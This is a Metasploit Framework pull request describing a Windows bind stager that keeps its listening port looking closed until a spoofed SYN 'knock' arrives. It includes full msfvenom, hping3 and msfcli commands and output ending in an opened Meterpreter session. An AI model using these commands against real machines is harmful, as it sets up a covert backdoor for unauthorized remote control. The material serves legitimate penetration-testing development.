rapid7/metasploit-framework — pull request #3573 by BorjaMerino (2014-07-26 09:14:00+00:00)
Title: bind ipknock stager (windows)

Stager for Windows that support IP authentication. The shellcode will be listenning for a syn packet from the IP defined with KHOST (knock IP). In the meantime the socket will appear as CLOSED (using the same logic that https://github.com/rapid7/metasploit-framework/pull/3394 ). Once the KHOST send the syn packet the socket will be available from any HOST. You can spoof the source IP with tools like HPING. It is important to note that you have to wait that the timeout expires between the SYN packet sent from the spoofed IP and the final connection; that's way I set a sleep of 45 seconds in the following example.

More info in the reference.

~ ./msfvenom -p windows/meterpreter/bind_hidden_ipknock_tcp KHOST=8.8.8.8 LPORT=4444 -f exe > ipknock.exe

No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 0 compatible encoders

~ nmap -sT 192.168.1.39 -p 4444 | grep closed
4444/tcp closed krb524

~ hping3 --spoof 8.8.8.8 -S -p 4444 192.168.1.39 -c 1 ; sleep 45 ; ./msfcli multi/handler payload=windows/meterpreter/bind_tcp LPORT=4444 RHOST=192.168.1.39 E
HPING 192.168.1.39 (wlan0 192.168.1.39): S set, 40 headers + 0 data bytes

--- 192.168.1.39 hping statistic ---
1 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
[*] Initializing modules...
payload => windows/meterpreter/bind_tcp
LPORT => 4444
RHOST => 192.168.1.39
[*] Starting the payload handler...
[*] Started bind handler
[*] Sending stage (769536 bytes) to 192.168.1.39
[*] Meterpreter session 1 opened (192.168.1.37:54242 -> 192.168.1.39:4444) at 2014-07-26 10:21:58 +0200

meterpreter >